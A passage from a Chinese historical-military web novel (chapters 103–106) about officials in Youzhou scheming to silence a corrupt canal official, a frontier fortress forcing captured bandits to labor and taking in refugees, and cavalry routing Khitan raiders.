他把灭口队伍全军覆没的消息告知身为幽州别驾的父亲时,对方直接给了自己一耳光,大声训斥自己愚蠢,岂能擅自调动地方军队?
而且最后警告要与刘家撇清关系。
杨浩当然明白这“撇清关系”是什么意思。幽州地方想要平息此次事件,给虎贲军一个交代,
就必须付出代价。
钱粮,物资只是其中一方面。
而罪魁祸首刘德福,估计最终是要被放弃,就像他放弃自己的心腹刘三,丢给边军发落。
换做是别人,杨浩是不会理睬的。
可眼前之人是他岳父,于情于理,是该提醒一句。
“隐姓埋名?远走高飞?”刘德福反复呢喃着。
当他看到杨浩那无奈又决绝的眼神,心里咯噔一声,就隐约猜到自己多半会被当作弃子。
他的脸色瞬间变得铁青,手指无意识地摩挲着桌面上的一道划痕,内心掀起了惊涛骇浪。
这么多年,他为上面那些人做了多少脏活累活?如今一出事,就要把他像破布一样扔掉?
“呵呵...呵呵呵...”刘德福突然低笑起来,笑声中带着几分癫狂和绝望,让杨浩不禁皱起了眉头。
“贤婿啊贤婿,你说得轻巧。”刘德福缓缓抬起头,眼中闪烁着诡异的光芒,“我这些年利用漕运职务便利,巧立名目,搞了多少钱?
向草原输送粮食、盐巴、铁器等紧俏物资,都是我出力主导。最后获得的钱财,大多数都是孝敬了上面。”
他慢慢站起身,踱步到窗
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前,望着窗外越下越大的雪籽:“jiusuan没有功劳,也有苦劳吧?
如今一出事,就想把我一脚踢开?天下哪有这么便宜的事!”
杨浩心中一惊,问道:“岳父,您这是什么意思?”
“什么意思?”刘德福猛地转身,胖脸上露出一丝狡黠而危险的笑容,“我自然留了后手。
所有往来的账目、书信,我都悄悄留了副本。藏在一个除了我本人,谁也不知道的地方。”
他慢慢走近杨浩,压低了声音:“吃得脑满肠肥就想踹开刘某,这世道哪有那么简单的事?
估计幽州府许多人坐立难安了,要是我不明不白地**,那些东西自然会送到该看到的人手里。到时候,事情闹大了,大家一起完蛋!”
杨浩倒吸一口凉气,不敢相信地看着眼前的岳父。
这个平日里总是笑眯眯的胖商人,竟然有如此心机和胆量。
“岳父,你...”杨浩气得脸色发白,“你这是在威胁?”
“不不不,这只是自保,贤婿。”刘德福又恢复那副人畜无害的表情,但眼神却冰冷如窗外的雪籽,“我只是不想被舍弃,想活下去而已。”
“你回去告诉令尊,我的亲家,再转告我那些‘朋友们’,我刘德福要是活不好,大家都别想好过!”
杨浩死死盯着刘德福,见到他那种疯狂的眼神,终于明白为什么父亲要他尽快与刘家撇清关系。
自己这个岳父,根本就是一条毒蛇,随时可能反咬一口。
“好,好,好!”杨浩连说三个好字,气极反笑。他明白,这家岳父不可能悄然离开幽州城。
“岳父果然老谋深算,小婿佩服!这话,我一定带到。”说罢,杨浩猛地一甩衣袖,转身大步离去。
刘德福望着女婿离去的背影,脸上的笑容渐渐消失,取而代之的是一片阴沉。
他缓缓坐回椅中,望着窗外的风雪,手指轻轻敲打着桌面,眼中闪烁着明灭不定的光芒。
他知道,自己刚才的摊牌是一场豪赌。赢了,或许能争得一线生机;输了,就是万劫不复。
窗外,雪籽不知何时已经变成了雪花,纷纷扬扬地落下个,
刘德福望着这漫天飞雪,心中一片冰冷。
他想起自己这些年的所作所为,想起那些被自己害得家破人亡的人,想起那些被贩卖到草原的百姓,再对比自己即将面临被抛弃的下场后,
难道这就是报应?
不!刘德福猛地摇头,眼中重新燃起狠厉之色。
他绝不能就这么倒下,就算要死,也要拉上几个垫背的。
尤其是那个秦猛,必须死!
他唤来心腹管家,低声吩咐:“去,将‘那些东西’准备好。若是听到我有什么不测,就立即送到该送到的地方。”
“老爷...”管家面露忧色。
“快去!”刘德福厉声道,“既然他们不仁,就休怪我不义!”
第103章 尔虞我诈
幽州城,杨家府邸。
书房内,杨烁指尖无意识地敲打着紫檀木桌案,发出沉闷的声响,每一声都敲在杨浩心上。
杨浩回来,就把刘家发生的事,如实告知父亲。杨浩得知试探刘德的情况后,陷入沉默。
“刘德福这老狐狸...”
良久,杨烁终于开口,声音低沉而冰冷:“他以为手握那些账册副本就能要挟整个幽州官场?真是可笑。”
杨浩垂首站立,不敢直视父亲锐利的目光:“岳父...刘德福说,若他身死…被灭口。那些往来账目和书信会立即送到该看到的人手里。
他说...吃饱了休想把他踹开门都没有,他不想当弃子被舍弃,还说要死,大家一起完蛋。”
“砰!”杨烁勃然大怒,猛地一拍桌案,震得茶具哐当作响:“好好好,好一个狗急跳墙!
他刘德福这些年利用漕运职务,向草原输送粮食、盐铁,包庇山贼,哪一桩不是杀头的罪?
现在事情败露,祸到临头,倒想拉着所有人垫背!”
杨浩额角沁出细密汗珠,他知道父亲此刻正在权衡。一边是亲家关系,一边是整个杨家的存亡。
他见父亲杨烁神色变得缓和,壮着胆提议:“爹爹,要不您亲自劝说,让他离开幽州城?”
“哼,劝说有何用?”杨烁嗤笑一声:“不说刘家万亩肥田,酒楼,铺面等产业都在幽州境内。”
“钱财只是身外之物,没了可以再赚,命没了,可就……”杨浩有些不解,问出心底的疑惑。
“你还是太年轻了!”杨烁摆手打断,为其解惑:“你这个岳丈大人,为官二十余载,心机深沉歹毒。岂能不知弃官逃离幽州会更加危险?”
他见杨浩还是疑惑,把话挑明:“没了漕运判官这层身份庇护,要他命的人可不止官场上。毕竟这老狐狸以权谋私,缺德是做得太多。
以前被勒索的商旅,吃过亏的富户,顾及他的官身不敢动手,可他不是官了,都不会罢休。
报复他的人如同这过江之鲫,刘德福怕是没出幽州境内,就会被人掳走,不知死在何处。”
杨浩听完后,彻底恍然大悟:“怪不得劝他隐姓埋名,离开幽州,一片好心,反而激怒他。”
杨烁语重心长地说道:“官场险恶,你站在高位时,手底下的人恭恭敬敬、百依百顺,实则是一群豺狼,只要有机会就会把你拉下来,自己爬上去。
在官场上,不能存有仁慈之心。
你劝说岳父于情是对的,但官场上绝对不能这样做,容易打草惊蛇。
这点你要多跟你大哥学,做到喜怒不形于色。
因为在官场上没有退路,一旦跌落,就如同摔落万丈悬崖,必将粉身碎骨,甚至祸及家眷。”
“我记住了,爹爹。”杨浩低着头,声音沙哑。
书房内陷入死寂,只有炭火偶尔爆裂的噼啪声。
“父亲,或许...或许我们可以假意应承,先稳住岳父。”杨浩谨慎地提议,“边军那边尚未有动静,估计也是在等,若我们能抢先了结此事...”
杨烁冷笑一声,起身踱到窗边,望着窗外愈下愈大的雪:“你当真以为秦猛只是个武夫?
此人能以一堡之力剿灭冷艳山,又全歼千余府兵。一个破戍堡有多少兵?据消息称敢斩杀朝廷命官,不是痴蠢之徒,就绝非等闲之辈。
刘德福为了私仇而蛊惑你,私自调兵攻杀边军,这是谋反大罪,边军帅司岂会善罢甘休?”
“你就说被蛊惑,不要牵扯其中。”
他猛然转身,眼中闪过寒光:“刘德福必须死,但不能死在杨家手上。你即刻去告诉他,杨某会竭力相助,从中调解,让他暂且安心。”
杨浩怔住:“父亲的意思是...”
“刺史大人那边,我自有说法。”杨烁嘴角勾起一抹冷笑,“刘德福这些年孝敬刺史的好处不少,如今出了事,刺史大人岂能独善其身?
同僚一场,另外几位从事必然不会见死不救。”杨烁说这句话的时候,脸上笑容格外诡异。
杨浩看得后背发凉,准备依言行事。
“回来。”杨烁立刻叫住他,沉默片刻,严厉地叮嘱:“你见到你岳父,到时你就实话实说,不要隐瞒,连我骂他的话一并说了,听见没有?”
是!
……
当杨浩再次踏入刘府时,刘德福依旧在书房内,焦躁地踱步。
“岳父大人。”杨浩躬身行礼,“父亲说,他会尽力周旋,但此事牵扯甚大,解决非是籽事。”
刘德福猛地转身,胖脸上闪过一丝希望,随即试探地问:“你父…我亲家公果真如此说?”
杨浩点头,语气平静的转述:“父亲让我转述,此事牵涉太广,需要刺史大人亲自定夺。只要刺史肯出面,你再出点钱,边军那边也好打点。”
“那就好!”刘德福长舒一口气,瘫坐在太师椅上。尽管这出点钱肯定不少,但却破财免灾。
“等等,你父亲没有说其他话?”刘德福脸色阴晴不定,死死盯着杨浩,一字一顿地说道。
“没没……”杨浩脸色一变,下意识摇头。
“哼,休要瞒我。”刘德福见女婿这样,冷笑一声:“我亲家公什么脾气,刘某多少了解一些。”
“说吧!”
杨浩被刘德福盯得浑身发毛,只能硬着头皮说道:“之前我回去转告您的话,爹爹不仅把我劈头盖脸一顿骂,还大骂混账,说这是作死。你这只老狐狸心机深沉,又狡猾歹毒。”
“哼,这怪不得我,我这样做就只能成为
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棋子。”刘德福听到这些话非但没生气,反而心安不少。
但他没注意到,女婿眼中那一闪而过的愧疚。
……
幽州刺史府内,烛火摇曳,将几个晃动的人影投在冰冷的墙上。
幽州别驾从事杨烁躬身立于下首,主位之上,刺史崔文远轻抚着手中的温玉如意,面沉如水。
“这么说,刘德福这老东西,不仅事情办砸了,闹大了,还反咬一口,想要拖所有人下水?”
崔文远的声音平稳,听不出喜怒。
但熟悉他的人都知道,这往往是风暴来临前的宁静。
杨烁的额头沁出细密的汗珠,不敢抬头:“是…下官教子无方,那孽子杨浩少不更事,被蛊惑走漏风声,让刘德福察觉到了弃车保帅之意。
他声称…声称手中握有历年漕运往来、以及向草原输送物资,掳掠贩卖人口的详细账册副本,藏于隐秘之处。若他身死,那些东西便会公之于众…”
“砰!”
玉如意被扔在案上,发出一声脆响,打断了杨烁的话。
崔文远缓缓站起身,走到窗边,望着窗外愈下愈大的雪,沉默了片刻。
“刘德福…一个漕运判官,倒是小瞧了他的胆子和他那点心思。”
他冷笑一声,“秦猛…铁血军寨…边军这次,是踩着刘德福这个蠢货,把手伸到我们幽州地界来了啊。”
“刺史大人明鉴!”杨烁连忙道,“边军帅司一向对幽州财赋重的颇有微词,苦于无借口介入。
此次刘德福私自调兵攻杀边军,实乃授人以柄!
秦猛此人,勇悍异常,又立此大功,恐更得帅司赏识。
若不能妥善处置,让其借题发挥,后果不堪设想。”
“妥善处置?”崔文远转过身,目光锐利如刀,“如何处置?刘德福不能轻易灭口,秦猛又动不得。
难道真要如边军所愿,割肉饲鹰,奉上大笔钱粮抚恤,让他们名正言顺地把手**幽州城?”
书房内陷入死寂,只有炭火偶尔爆裂的噼啪声。
良久,崔文远眼中闪过一丝寒光:“刘德福不是想活吗?可以。告诉他,他的命,可以留着。
但他闯下的祸,得他自己去填。
他不是恨透了秦猛吗?本官就给他一个机会……”
他压低声音,对杨烁细细耳语一番。
杨烁越听越是心惊,脸色变幻不定,最终躬身道:“下官…明白。这就去安排。只是此事…”
“只管去做。”崔文远挥挥手,重新拿起玉如意,“幽州,还不是边军说了算。记住,要快,要在边军帅司反应过来之前,把消息送出去。
至于刘德福…事成之后,他知道太多,总归是个隐患。”
杨烁心中一凛,深深一揖:“下官,明白了!”
第104章 郡城暗流藏
幽州城因秦猛横空出世已是暗流翻涌,风声鹤唳。
前沿边塞对此却一无所知。
铁血军寨内依旧一派热火朝天之景,将士埋头苦练,民夫各司其职,步履匆匆,忙而不乱。
此前俘获的冷艳山匪众经审讯已查明:
素有打家劫舍之举,手上沾过血,却未犯下掳掠百姓、贩卖至草原为奴的重罪。罪可免死,但需服劳役以作改造,观其后效再定去留。
“恭喜各位,小命暂且保住了!此乃秦大人仁慈,尔等当记在心。”
亲兵队长王善身披亮甲,声如洪钟。
他望着被押出牢房的俘虏,待众人在空地上列队站定,便开始高声训话。
“但既往之罪不可不赎!
你们先前打家劫舍,害人性命,如今需在军寨内服劳役改造。虽无分文工钱,却保三餐管饱。
若表现出众,不仅可恢复平民身份,更能入工坊谋生,或编入军籍从军,享应得之权利!”
数十名山贼俘虏垂首而立,无人敢擅自扭头张望。
一是在牢房中已尝尽审讯之苦,连大寨主严彪都被收拾得服服帖帖、有问必答,他们这些小喽啰更不敢造次。
二是四周环伺着持刀握枪的军卒,远处更有弓箭手引弓待发,稍有异动便是死路一条。
三是他们听闻,那些被筛出的同伙下场极惨。
多重震慑之下,这群往日凶顽的匪徒,竟比山村中的朴实汉子还要安分。
见众人皆低眉顺目,临时兼任训导官的王善心中暗叹:“大人说得对,坏人都是纵容的结果。”
他继续说道:“你们虽是俘虏,却都是青壮,编为**营,属于军制,往后需接受严格的军事化管理。每日除了劳作,还得参加训练。”
他话锋一转,语气愈发严肃:“本将再次警告你们,要记清,这里是边塞军寨,规矩如铁!
一切行动听指挥,必须绝对服从命令;私下不准斗殴逞强,更严禁偷盗劫掠!谁敢触犯,必严惩不……”
“啪!”王善的话尚未说完,一阵打骂声突然从俘虏营旁传来。
“**的!还敢偷懒躲在这里?给老子起来干活!”
“今天要是修不完冰墙,老子扒了你的皮!”
只见袁飞率领一队铁甲飞虎卫,气势汹汹地冲进**房,将马六等人像拖死狗一般拽了出来。
啪啪鞭子劈头盖脸地抽在他们身上。
王善对此早已见怪不怪,只是指着挨打的马六等人,向眼前的俘虏解释:“你们看清楚了。
这群人原是幽州漕运判官刘德福的手下,因日日吵闹、拒不服从管教,咱边寨管不了。
便直接交给了飞虎卫,这就是嚣张、偷懒耍滑的下场!”
他顿了顿,又加重语气:“你们也别想着逃跑!这冰天雪地的,一旦跑出去,只会冻死饿死。”
“何况,你们再看看那边,那是军寨特有的犬兵队!”顺着王善指的方向,俘虏们转头望去。
二十余名兵卒牵着从各村坊收购来的壮硕猛犬,此刻正对着他们狂吠不止,连带着训犬的兵卒,个个披甲持锐,眼神凶狠,如临大敌。
就在这时,性格急躁的**大步走来,高声道:“王队长,别跟他们废话了,大人有令。
直接押去工地,分派队长管束,不干活就打!给他们分好组,但凡跑了一个,全组受牵连!跑试试?抓回当实验包,先吃半年酷刑再说!”
这话一出,本就心存侥幸的俘虏们顿时浑身发抖,眼中满是恐惧。
没人想再被关进地牢,承受那些非人的折磨。
“给他们挂上工牌,押去干活!”王善也不再多言,挥手下令。
士兵们立刻上前,给每个俘虏套上特制坎肩,又在脖子上系上带铁链的标牌,上面刻着各人的姓名、编号,可添加组别,队长等信息。
这批俘虏约有七十余人,秦猛特批留他们性命。
一是给曾为冷艳山二当家的韩勇一个面子,二是军寨大兴土木需要劳力,这批人正好干活。
三是为流民树立榜样——无论此前是**凶徒,还是落草流寇,只要肯来军寨、遵守规矩、踏实做事,便可既往不咎,重新做人。
更重要的是,连山贼匪徒都能得到改过自新的机会,此事若是传出去,便是秦猛仁慈的明证。
往后商队再遇山贼,提及秦猛的宽宥,或许也能多几分转圜余地。
这般一举多得的好事,秦猛自然要做。
至于那些真正犯下贩卖同胞重罪的恶人,帅司早已核验清楚,秦猛本就没打算放过他们。
留着是浪费粮食,老保长王槐此前已为此抱怨过数次。
最终,秦猛下令:将这些恶徒用绳子串绑起来,由王铁山带队,在天未亮时便押往青阳郡城。
先交由县衙定罪,再转送郡守衙门,由林安国最终发落。
比起幽州城的暗流涌动,青阳郡城其实也不太平。不过由于有边军威慑,并没有掀起波澜。
在青阳郡城中心的繁华地段,坐落着一家气派的胭脂水粉铺——“芷兰斋”。
这铺面有三间门脸,是本城最大的脂粉铺子。
芷兰斋内香味弥漫,淡淡的让人不觉得冲鼻。左边是香料,檀香、乳香、广藿香、丁香、青木香、龙脑香、鸢尾花等,种类琳琅满目。
右边是胭脂,鲜艳的面脂和口脂种类繁多,木牌上写着蜀葵花、重绛、石榴、苏方木等各种面脂。
另一边是口脂的木牌小春红、大春红、石榴娇、媚花奴十几种。
林安国接受了秦猛的好意,派了琴娘等心腹来打理铺面。
今日虽天气寒冷,但铺子里依旧不少女客往来,宾客络绎不绝,莺莺燕燕,挑选着心仪的脂粉。
时近中午,铺子里的客人少了许多,街坊婆子媳妇等,人群**,都涌向了城西的菜市场。
今天是处决冷艳山贼寇的日子。
那是晌午时分,郡守衙门突然张贴榜文通告:
幽州境内为祸多年的冷艳山寨被铁
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血军寨剿灭。
连带着山寨这些年做的恶事被揭露,引起了城内百姓的轰动。
“天呐,你知道吗?冷艳山寨掳掠边民贩卖为奴?”
“可不是嘛,上次县衙好像通告此事。”
“没错,当时我还看着来着,近百个周边村民。”
“这群该死的贼人,畜生。”
“被剿灭了好,铁血军寨?果然还是边军靠谱儿。”
“听说今天中午菜市场,把那些贼人斩首示众,”
“走,咱们去看看选个好位置。”
城内大街小巷、酒楼茶室到处都是这样的议论。
天色大亮,王铁山带队押送俘虏入城,怀揣着秦猛的密信,内容是择日处决穷凶极恶者,给百姓交代,借机获取百姓爱戴,站稳脚跟。
这封密密信交给郡守林安国,这厮是个雷厉风行之辈,看过密信后,当天就要咔嚓掉俘虏。
这突然的消息直接引起全城轰动!
菜市场外,临时搭起的刑台上,跪着数十个衣衫褴褛、五花大绑的汉子。一个个面如死灰,有的甚至瘫软在地,需要兵士架着,一字排开。
四周人山人海,百姓们争相目睹这些恶贯满盈的匪徒的下场。
硬石块、烂菜叶不时从人群中飞出,砸在这些囚犯的身上、脸上。
监斩台上,郡守林安国正襟危坐,面色肃穆。他看着台下群情激愤的百姓,心中明了秦猛此举的深意。
这不仅是为民除害,更是帮他这位郡守立威,巩固地位。
午时三刻一到,林安国重重掷下火签令箭。
“时辰到!斩!”
刽子手手起刀落,鲜血染红了刑台。
好,杀得好!人群中爆发出震天的喝彩声,多年积压的恐惧和怨恨,在这一刻得到了宣泄。
林安国清晰地看到,人群中本地乡绅豪强的脸色白了几分,不少人下意识地缩了缩脖子。
数十颗人头滚滚落下,这个震慑效果立竿见影。
此前还在观望、找借口拖延的城内乡绅豪强。次日便纷纷主动到郡衙交纳赋税,再无一人敢拖延推诿。
他们亲眼见识了这位林郡守背后的铁血手腕,以及边军的强力支持。违反法律,风险太大。
往来的商队也更加守规矩,在城内不敢私下械斗。
城内“福瑞”当铺的后堂,一个戴着毡帽的商人,正对当铺掌柜低语:“…告诉东家,青阳郡守与边军走得近,此人非是那种文弱书生。
据了解的信息,朝堂中必定有人。
那铁血军寨知寨官秦猛势头正盛,公然斩杀朝廷命官,胆子极大,莽夫作派,绝非善类。边境不稳,与草原买卖这条路得选择他处。”
“此事我会如实禀报。”掌柜默默点头,递过一个沉甸甸的钱袋。“这是本月份例,路上小心。”
商人接过,压了压帽檐,悄然融入门外的人流之中。
幽州的雪,依旧在下。
哪怕是在郡城,也掩盖了更多的秘密和涌动的不祥暗流。
第105章 收流民,立官制
永泰十三年冬,北国的第一场大雪如期而至。
鹅毛般的雪花打着旋纷纷扬扬飘落,边寨里经验丰富的老人眯着眼,仔细辨出雪花竟有六瓣,皆喃喃道:“今冬怕是要冷得彻骨了啊!”
这北国的冬天,冷得鲜明,冷得霸道。
凛冽的高原寒风犹如撒缰的野马般狂奔怒吼,卷起地上积雪,使得旷野浑噩迷茫,难辨东西。
万物凋零,唯有那苍松翠柏枝头挂满了晶莹的雾凇,如同冰晶雕琢的艺术品,在偶尔透出的冬日下,闪烁寒光,护卫着这片苦寒之地。
秦猛深知,严寒虽能冻死地里虫害,是瑞雪丰年的吉兆,却也意味着界河即将彻底冰封。
那将是女真、契丹、狼戎等**骑兵越境袭扰的天然通道。
时间,从未如此紧迫。
他几乎将全部心力都投入到练兵之中。操演阵型,磨炼技艺,提升士卒耐寒作战之能……
力求在大雪停歇、河道坚冰如铁之前,让陷阵营更具锋芒。王善等亲兵轮流跑到河边踏冰……
寨外营地与窝棚区的修建事宜已全权交由老保长与诸葛风。
双涡堡那边,则由部将秦大壮带队押运物资前往,并代他巡视戍卒训练,督促加固防御。
雪,接连下了三日。
这三日,气温接连骤降。
待雪停放晴后,冰雪消融,苦寒更甚。
枯黄草地被皑皑白雪覆盖,积了半尺余深。
举目四望,山川,大地唯余苍茫白色,天地间银装素裹,凛冽的寒风呼啸着掠过辽阔的原野。
河畔开荒不得已暂停,大批劳力被紧急抽调,转而加入冬季训练,或加速建营地与窝棚区。
在这片无垠的洁白中,唯有铁血军寨内外以及通往白松岭矿山、双涡堡的道路不见积雪。
这是寨兵与壮劳力们的新任务!
——铲雪清道,并将清除的积雪悉数运至界河畔,加固垒墙,一圈数百米的雪墙拔地而起。
风雪呼啸中,边防帅司的任命文书终于抵达。
随行的还有赵将军调拨的熟练工匠队、一批武器装备以及紧要的猛火油,布匹等物资。
物资入库,工匠安顿入工坊。
帅司特使受到礼遇,马鞍袋里多出许多土特产。
反正,次日雪小了,队伍喜气洋洋地返回。
文书正式擢升秦猛为飞虎卫正将军!
几乎与此同时,军寨此前边寨使人有意散出的招纳流民、提供庇护的消息,开始显现效果。
通往铁血军寨的崎岖小道上,人流逐渐络绎不绝,如同久旱逢甘霖的迁徙蚁群。
起初仅是零星十数人,衣衫褴褛,面黄肌瘦。
这几日,竟是成队成队的难民从四面涌来,多是拖家带口,带着微薄家当。
其中不少是从相邻的并州前线逃难而来的百姓,村落遭**焚掠,侥幸得活,却已走投无路。
短短数日,军寨内外便涌入了数百人!
“老天爷!这…这许多人!”老保长望着寨内外黑压压的人头,先是惊愕,随即焦头烂额。
幸得秦猛深谋远虑,早已动员大批壮劳力,一直修建了大量简陋却足以遮风挡雪的窝棚。
此刻,发挥了巨大作用。
安置流民绝非易事。医疗所的唐博带人严阵以待,首要之务便是排查瘟疫,确保无虞。
老保长裹紧冬衣,顶风冒雪,嘶哑着嗓子指挥若定:“快!先烧热水,让这些人洗净,换上洁净衣裳。
再登记造册,凭册领棉衣棉被,安置到窝棚区!”
“诸葛小子,立即开仓,增设粥棚。每日早晚两顿浓粥,筷子插而不倒,老弱妇孺额外分发些熟豆子!”
“库里的棉衣悉数取出。”
“若不够,便将缴获**的那些羊皮袄、多余的旧皮袍也拿出来。人若冻**,甚么都是空谈!”
军寨俨然成了一个巨大的避难所。
新设的灶台日夜不息,巨大的铁锅里翻滚着能插筷不倒的杂粮粥。
冻得瑟瑟发抖的流民排着长队,领取活命的口粮与御寒的衣物。
那大多崭新厚实的棉衣棉被,令无数流民感激涕零。
所有能动弹的青壮,无论男女,均被组织起来。
在巡逻队的看顾下,成群结队,冒着风雪,前往附近林带,拾取枯枝,搂扒厚厚的松针…
巨大的柴垛以肉眼可见的速度在堡墙内外堆积起来。
——这是应对酷寒冬季、维系生存的生命线。
与此同时,飞虎卫精锐协助,张富贵与李山带领寨兵在人群中穿梭,进行首次大规模筛选:
一是挑选合格兵源。
二是初步排查可疑人员,严防**奸细混入。
“后生!多大年纪?”
“身子可有病痛?能伐木否?”
“家中有几口?可愿参军吃饷?”
“兄弟,你虎口茧厚,似练过刀弓?”
“那位,自称何处人士?口音听着有些许别扭?”
……
很快,经过层层筛选,确认没有问题。一支由新募流民青壮组成的“后备营”初具规模,被带至校场一角,开始最基础的队列与体力训练。
他们的加入,将为日后三堡开荒耕种提供宝贵劳力。
这也正是边寨亟需人口的关键所在。
流民涌入因大雪暂缓,却远未停止。
等开春后,各地流民涌来的只会更多。
近来,两批流民涌入,算上此前边堡近两千人,铁血军寨辖下人口赫然突破了三千大关。
骤增的人口带来了红利,也随之而来数倍于前的繁杂事务:
粮秣的精确发放与记录。
寒衣、棉被的分派与管理。
窝棚的持续搭建与分配。
人口的详细登记与造册。
各类匠人的技艺甄别与任用。
投军者转入军籍,其家眷的安置。
新建家属区的秩序维持。
新的农垦任务规划与分配
……
老保长本就忙碌,虽有诸葛风
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帮衬,此刻更似陀螺般旋转,一日下来,嗓音嘶哑,腰身难直。
原先破败闲置的军寨官署,经连日赶工修缮,已焕然一新。
前部是正式的衙署公房,较县衙更为宽敞,用以处理军务、审理案件;
后部则是连排房舍院落,供官员家眷居住,并配有马厩、亲卫营房及小型校场,可住百人。
官署以坚石构建,高墙耸立,四方角楼加固。内有水井,粮仓,俨然成了一座坚固的小型碉堡。
秦猛投入大笔缴获银两修缮,如今派上了用场。
他除却在军营操练兵马,便是在官署亲训亲卫队,督导他们体能特训,亲授黑龙十八手、破锋八刀等搏杀技。小妹秦小芸与王艳亦跟随**练。
“咚咚咚……”
官署外的战鼓骤然响起。
——此鼓类似鸣冤鼓,响则代表有要事发生。
秦猛身着轻甲,外罩毛皮大氅,疾步赶至衙署。只见老保长拄着拐杖,气喘吁吁,面色苦楚:
“老…老爷!不行了……实在不行了……”
他见到秦猛,上气不接下气,“寨子现今…人太多了!各类事项千头万绪…光凭老朽一张嘴,两条腿…便是累死也照料不过来啊!
待天暖,流民恐再来,非设职房、分明职责不可!”
秦猛见老保长疲惫至此,又观寨内局面虽乱中有序,却处处需精细管理,心知铁血军寨人多了后,确需建立一套更完善的管理体系了。
他也恍然明白,为何军寨升格后,帅司编制中会设有主簿、书吏,税吏、治安队等职位。
军寨人多了,这些职位确不可或缺。
“老保长劳苦功高,您先歇息片刻。”秦猛安抚着,亲自为王槐奉上热茶,随即肃然下令。
“李恒听令!”
“在!”李恒昂首应诺。
“即刻张榜!于堡内及新来民众中,招募识文断字、精于计算者。
军寨即日起:增设主簿一名,由老保长兼任;另设书吏三人、算吏五人、库吏五人。
此外,专设治安大队,设都头两名,优先从可靠民壮中遴选,严加考核,其职责分工如下……”
秦猛清晰口述了各新职位的权责与选拔标准。
至此,铁血军寨内的管理中枢,自此开始从老保长“口手相传”的原始模式,向着拥有初步分工与文牍记录的制度化,踏出了关键一步!
告示张贴,引起了轰动,基于庞大的人口基数。
很快便有些落魄读书人、账房先生之类前来应募。
经过诸葛风、张富贵等人的一番筛选、考核、任命…军寨的管理框架逐渐构建,在烽火与汗水中,开始一层层地夯实,变得愈加厚重。
……
寨外的风雪还没停,寨内的人气却一天天旺了起来。
然而,在这片白色的宁静之下,无人知晓,许多来自草原的尖兵已借着风雪掩护,奔赴界河……
真正的考验,即将随着冰封的河道一同来临。
第106章 风雪筑榷场
永泰十三年,入冬的第一场雪比往年来得更晚一些。不仅带来了严寒,也让界河开始封冻。
河面上浮冰涌动,相互碰撞,发出“咔嚓咔嚓”的声响。
在这逐渐冰封的河道上,五艘商船正艰难地破冰前行。
为首的船甲板上,站着年轻的商队东家邓龙,他眉头紧锁,望着眼前茫茫雪原,心中忐忑不安。
这趟北上,他赌上了全部家当,还欠了一屁股债,才凑足五船货。
三船精米。
一船棉花,棉衣布料等。
一船江南的优质丝绸与茶叶。
这些都是北地的紧俏物资,运到北方能赚上好几倍。
原本想趁着入冬前最后的机会搏一把,谁知人算不如天算。
前段时间刘德福瞎折腾,运河淤堵,又遭封禁。更是召集商旅,不允许商船靠近小南河。
邓龙年轻势单,不敢忤逆漕运禁令,只好转走其他水道,想将货物运到其他边镇,戍堡,或者到指定榷场内,转手给西域、草原商人。
虽然利润会薄些,但总归有些赚头。
谁知北地的冬天来得如此之急,第一场大雪不期而至。
气温骤降,运河开始迅速冰封。
船只行进速度慢如龟爬,这是极为危险的事儿。邓龙心急如焚,日夜祈祷不要遇上**。
然而,这越怕什么,就越来什么。
“东…东家,你看!”船头的老艄公突然惊呼,声音发颤。
邓龙顺着他指的方向望去,只见远处雪原上出现一队骑兵,正风驰电掣般向船队扑来。
“**,是契丹**!”艄公嘶声喊道,面如土色。
这碰上**,不仅货物被抢,人估计也凶多吉少。
邓龙的心一下子沉到谷底。
来敌约二十余人,头戴毡帽,满脸兴奋与凶狠。人披皮甲,外套皮袍,每人双马,来势汹汹。
看装束,是草原大族契丹人。
他们舞动弯刀,发出“嗷嗷”怪叫声,如同狼群发现猎物。
“护卫,准备迎敌!”邓龙强自镇定,高声喝道。
商队雇佣的十余名护卫急忙弯弓搭箭,试图驱赶这些不速之客。
然而,草原汉子尤其擅长骑射,并不靠近船队,只是沿途追逐,时而弯弓搭箭,放冷箭。
“嗖”的一声,一支利箭破空而来。
一名护卫应声倒地,惨叫一声,便没了动静。
接着,又是几声惨叫,接连有护卫中箭倒下。
邓龙趴在甲板上不敢起身,眼睁睁看着自己重金请来的护卫一个个倒下,却无能为力。
这些契丹人显然对劫掠商船很有经验。
他们并不急于登船,而是继续环绕船队放箭,消耗商队的抵抗力量。
待到船队护卫死伤过半,剩下的也胆气尽失时,**们才从马背上取出带爪钩的绳子,在手中转圈晃动着,犹如套马那般精准抛向船舷。
“咔嚓”几声,铁爪牢牢钩住了船帮。
“拉!”为首的契丹头目大喝一声,**们策马奋力拖拽。
一艘又一艘货船在巨大的拉力下被迫停下,在河面上打横。
邓龙见状,急忙用半生不熟的契丹话喊道:“好汉爷,我们愿交过路钱,每人十两银子。
不,二十两!”
可这群契丹人根本不理不睬,继续将更多的爪钩抛上船。
显然,他们不仅要钱,还要货,甚至可能要命。
邓龙面如死灰,心中绝望。
钱没赚到,反而要赔上身家性命。
他在心里将封禁运河的官员祖宗十八代骂了个遍。
若不是他们滥用职权,针对戍堡,自己何至于走这条道,耽搁了时间,遇上这伙煞星。
眼看**们已经准备策马跃上船只,开始杀戮劫掠。
邓龙闭上了眼睛,等待死神降临。
就在这千钧一发之际,远处忽然传来隆隆马蹄声,震得冰面都在微微颤动。
“援兵,是援兵!”幸存的艄公突然激动地大喊起来。
邓龙猛地睁开眼睛,只见双涡堡方向,一队铁甲骑兵正踏雪而来,越冲越快,掀起漫天雪花。
为首一将,身材魁梧,手持一柄两米多长的大刀,威风凛凛。
正是奉命巡视边堡、正欲返回军寨的秦大壮。
“铁血军寨,秦大壮在此!狗**还敢嚣张?”秦大壮那逐渐有底气而低沉的声音响彻苍穹。
“杀!”数十骑兵紧随其后,杀声震天。
“覆盖式奔射。”秦大壮挂好长刀,摘下强弓大吼。
军卒动作整齐划一,在狂奔中双腿夹紧马腹,腾出双手,摘下强弓,抽出箭袋中的破甲箭。
拉弓如满月,箭走似流星。
嗖嗖破空声不绝于耳,**根本来不及躲避。
转眼间,十来个**被密集的箭矢射中,惨叫着栽**下。
契丹**没料到会遭遇如此精锐,顿时阵脚大乱。
秦大壮一马当先,率队杀入敌群。
他那两米长刀疯狂甩动,所到之处,如割草般砍倒敌人。
军寨骑兵或用长刀,或使**,兵器远长于**的弯刀。
加上训练有素,配合默契,人数又占据绝对优势。几乎一个照面,就杀得**兵狼奔豕突。
几个机灵的**见势不妙,拨转马头就想逃跑。
但军寨骑兵弯弓搭箭,追击射杀。
不过半刻钟的功夫,二十多个契丹**全部被歼,无一生还。
